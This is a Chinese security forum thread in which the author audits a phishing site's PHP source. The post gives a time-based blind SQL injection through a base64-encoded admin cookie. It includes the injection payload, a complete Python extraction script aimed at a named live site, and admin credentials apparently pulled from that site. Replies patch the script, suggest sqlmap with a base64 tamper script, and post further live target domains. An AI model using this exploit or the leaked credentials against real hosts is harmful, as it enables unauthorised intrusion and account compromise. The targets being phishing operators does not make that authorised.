用户
搜索
  • TA的每日心情
    无聊
    2019-8-9 17:33
  • 签到天数: 167 天

    连续签到: 1 天

    [LV.7]常住居民III

    i春秋作家

    Ashe

    Rank: 7Rank: 7Rank: 7

    14

    主题

    178

    帖子

    2866

    魔法币
    收听
    1
    粉丝
    4
    注册时间
    2016-11-9

    i春秋签约作者春秋游侠春秋文阁

    发表于 2018-5-21 13:16:40 2026343
    继@风在指尖大佬后对这套钓鱼源码进行一番代码审计!
    20180507-6dbf1fa2e5914cfd8100637581c03f5d.jpeg
    自从进了i春秋还没有发过文章略表惭愧(3秒钟)!
    不过说实在的之前发过一篇不过因为排版和乱码问题,审核没通过让我重新排版,果断放弃。
    还是我太懒了!
    没看过风在指尖大佬的那篇文章的赶紧移步攻破黑市之拿下吃鸡,DNF钓鱼站群(结局彩蛋)像我这样小小白的人,早已告别了单纯!
    —————————————————————————嘿!我是分割线————————————————————————————————
    源码结构:
    QQ截图20180521122646.png
    安全做的其实挺好的!对用户传入的参数都进行了过滤,而且还有360的safe(阔怕)。
    不过不用担心,谁让你遇到了我,此时你需要默喊一声Ashe666
    ————————————————————————————————————
    开始先对一些入口文件、配置文件进行浏览、阅读这些废话我就不多说了。
    然后在看到/include/member.php时发现了问题。
    ———————————华丽的分割线—————————————————————————
    [PHP] 纯文本查看 复制代码
    <?php
    if(!defined('IN_CRONLITE'))exit();
    
    if(isset($_COOKIE["islogin"])){
            if($_COOKIE["admin_user"]){
                    $admin_user=base64_decode($_COOKIE['admin_user']);
                    $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
                    if($udata['username']==''){
                            setcookie("islogin", "", time() - 604800);
                            setcookie("admin_user", "", time() - 604800);
                            setcookie("admin_pass", "", time() - 604800);
                    }
                    $admin_pass=sha1($udata['password'].LOGIN_KEY);
                    if($admin_pass==$_COOKIE["admin_pass"]){
                            $islogin=1;
                    }else{
                            setcookie("islogin", "", time() - 604800);
                            setcookie("admin_user", "", time() - 604800);
                            setcookie("admin_pass", "", time() - 604800);
                    }
            }
    }
    if(isset($_SESSION['islogin'])){
            if($_SESSION["admin_user"]){
                    $admin_user=base64_decode($_SESSION['admin_user']);
                    $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
                    $admin_pass=sha1($udata['password'].LOGIN_KEY);
                    if($admin_pass==$_SESSION["admin_pass"]){
                            $islogin=1;
                    }
            }
    }
    ?>

    ——————————————————————————————————————
    mmp前面对用户传参各种过滤,然而这里我这想说
    6af89bc8gw1f8t23fuho0j20b40b4jru.jpg
    ——————————————————————————————————————
    不过开头有一个检测
    [PHP] 纯文本查看 复制代码
    if(!defined('IN_CRONLITE'))exit();

    不能直接访问这个文件,所以我们需要找调用这里的页面。
    QQ截图20180521123758.png

    发现直接在common.php调用并且定义的这个常量

    QQ截图20180521124410.png

    You tm 就是个人才
    继续找调用common的文件。

    QQ截图20180521123935.png
    9150e4e5ly1fpzs6zlg1lj205m04sjs5.jpg

    骚年你知道这意味着什么吗?这里的每个页面都可以进行sql注入。

    弟弟~弟弟救我~弟弟。
    觉悟吧!你弟弟也救不了你。
    __________________________________________________________

    QQ截图20180521124635.png
    这里进行了两个判断
    一个是cookie另一个是session的,然而我们只需要看cookie这里的就够了

    开始从cookie获取值而且没有任何过滤带入sql查询

    [PHP] 纯文本查看 复制代码
    if(isset($_COOKIE["islogin"])){
            if($_COOKIE["admin_user"]){
                    $admin_user=base64_decode($_COOKIE['admin_user']);
                    $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");


    我们可以直接通过构造cookie值进行注入
    先判断 islogin 然后 base64加密后的 admin_user 值是否存在,解密后带入sql查询
    这里是个时间注入(没有回显所以用时间注入)
    然后随便找了个站点进行测试:
    http://www.xinyunhuayuan.cn/admin/index.php (我这里用的admin/index.php文件其余的也一样可以注入)
    构造语句:
           ' or substr(admin_user,1,1)='8' and sleep(5) #
           base64加密后
           JyBvciBzdWJzdHIoYWRtaW5fdXNlciwxLDEpPSc4JyBhbmQgc2xlZXAoNSkgIw==

           islogin=1; admin_user=JyBvciBzdWJzdHIoYWRtaW5fdXNlciwxLDEpPSc4JyBhbmQgc2xlZXAoNSkgIw==
          我这里通过火狐插件modify headers修改cookie,如果admin_user的第一个字符为8则延时5秒

    QQ截图20180521125633.png

    成功延时!不附截图了。
    写了个python脚本来爆破账号密码
    [Python] 纯文本查看 复制代码
    #coding: utf-8
    
    import requests
    from base64 import b64encode
    def sendHead(url,header,cookie,errNum=0):
        maxErr=5
        try:
            result=requests.get(url,headers=header,cookies=cookie,timeout=15)
        except requests.HTTPError as e:
            if errNum>maxErr:
                print(e)
                return None
            else:
                errNum=errNum+1
                sendHead(url,header,cookie,errNum)
        except requests.Timeout as e:
            if errNum>maxErr:
                print(e)
                return None
            else:
                errNum=errNum+1
                sendHead(url,header,cookie,errNum)
        except requests.ReadTimeout as e :
            if errNum>maxErr:
                print(e)
                return None
            else:
                errNum=errNum+1
                sendHead(url,header,cookie,errNum)
        except requests.ConnectionError as e :
            if errNum>maxErr:
                print(e)
                return None
            else:
                errNum=errNum+1
                sendHead(url,header,cookie,errNum)
        except requests.ConnectTimeout as e :
            if errNum>maxErr:
                print(e)
                return None
            else:
                errNum=errNum+1
                sendHead(url,header,cookie,errNum)
        return result
    myHeaders = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"
    }
    url = "http://www.xinyunhuayuan.cn/admin/index.php"
    def getPass(option):
        tmp=""
        xxoo=0
        for x in range(1,33):
            print(x)
            for i in range(48,91):
                poc="' or substr({0},{1},1)='{2}' and sleep(6) #".format(option,x,chr(i))
                myCookies={
                    "islogin":"1",
                    "admin_user":b64encode(poc)
                }
                result=sendHead(url,myHeaders,myCookies)
                if result==None:
                    print(poc)
                    exit()
                else:
                    date=result.elapsed.total_seconds()
                    if date>=0.6:
                        if(sendHead(url,myHeaders,myCookies).elapsed.total_seconds()>1.2):
                            tmp=tmp+chr(i)
                            print(poc)
                            print(tmp)
                            strNone = False
                            continue
                    else:
                        strNone=True
            if strNone==True:
                xxoo=xxoo+1
                if(xxoo>=2):
                    exit()
    def main():
        #getPass("password")
        getPass("username")
    
    if __name__ == '__main__':
        main()



    http://www.xinyunhuayuan.cn/admin/login.php
    账号:865797501
    密码:E1C2AFA02A2672BD80B3DE20D42C1C7D         
    nishengri



    _______________________________________________________________________________________
    到此结束!

    感谢各位大哥大姐 表哥表妹的观看!


    评分

    参与人数 2魔法币 +150 收起 理由
    坏蛋 + 100 感谢你的分享,i春秋论坛有你更精彩!.
    风在指尖 + 50 感谢你的分享,i春秋论坛有你更精彩!.

    查看全部评分

    本帖被以下淘专辑推荐:

    • · 思路|主题: 29, 订阅: 9
    用代码将梦想照进现实!Qq:2047797039
    发表于 2018-5-22 22:25:18
    很抱歉!有这样的疏忽,这些代码都是提交前为了不报错编辑的,没进行严格测试。
    然后文章编辑每次都没拦截为攻击行为。
    python代码修改
    [Python] 纯文本查看 复制代码
        except requests.HTTPError as e:
            if errNum>maxErr:
                print(e)
                return None
            else:
                errNum=errNum+1
                sendHead(url,header,cookie,errNum)

    把sendHead(url,header,cookie,errNum)改成
    result=sendHead(url,header,cookie,errNum)
    用代码将梦想照进现实!Qq:2047797039
    使用道具 举报 回复
    http://fenshang0.xyz/ 目前大部分dnf钓鱼程序这个叫思州的小伙子写的
    还一直在大摇大摆的售卖这些程序
    甚至还做起了博客https://www.sizhou8.cn/
    扫了下目录 打开发现画风是这样的 S6T3S{0T%8D{]H@C])~PIQ5.png
    竟然还在博客说自己是做安全的
    使用道具 举报 回复
    发表于 2018-5-22 11:04:39
    lazylee 发表于 2018-5-21 14:24
    TypeError: a bytes-like object is required, not 'str'

    我环境是2.7,由于我本地运行正常!我也不知道什么鬼。楼下表哥发言!可以用sqlmap跑!
    用代码将梦想照进现实!Qq:2047797039
    使用道具 举报 回复
    发表于 2018-5-21 23:00:36

    大佬见笑了!今天中午ichunqiu不知道什么鬼节点错误!有好几张图啥的没补上来!
    用代码将梦想照进现实!Qq:2047797039
    使用道具 举报 回复
    AShe 发表于 2018-5-22 11:04
    我环境是2.7,由于我本地运行正常!我也不知道什么鬼。楼下表哥发言!可以用sqlmap跑! ...

    好的,感谢感谢
    使用道具 举报 回复
    发表于 2018-5-22 09:52:53
    楼主代码报错同上~~~ by the way:admin_user参数用sqlmap跑也OK的,指令加--tamper base64encode.py 就可以了~
    使用道具 举报 回复
    TypeError: a bytes-like object is required, not 'str'
    这个怎么解决啊 好想学习一下
    使用道具 举报 回复
    TypeError: a bytes-like object is required, not 'str'
    使用道具 举报 回复
    发表于 2018-5-21 15:53:15
    本帖最后由 风在指尖 于 2018-5-21 07:54 编辑

    好样的‘’·
    111111111
    使用道具 举报 回复
    发表于 2018-5-21 15:54:28
    使用道具 举报 回复
    发表于 2018-5-21 16:12:17
    这一波审计是真的厉害
    小白~~~
    使用道具 举报 回复
    onls辜釉 i春秋作家 春秋认证√作家团颜值担当 i春秋认证 秦 春秋文阁 i春秋签约作者
    4#
    发表于 2018-5-21 16:20:51
    表哥有点迅速啊
    信息安全菜鸟/社会主义接班人
    使用道具 举报 回复
    发表于 2018-5-21 17:04:06
    表哥有点迅速啊
    使用道具 举报 回复
    http://keki10.top/

    表哥,这里还有一个。
    使用道具 举报 回复
    发表于 2018-5-21 18:21:47
    看着表哥写的,准备复现一波
    使用道具 举报 回复
    最近正好在学代码审计,思路很重要
    使用道具 举报 回复
    表哥很强啊
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册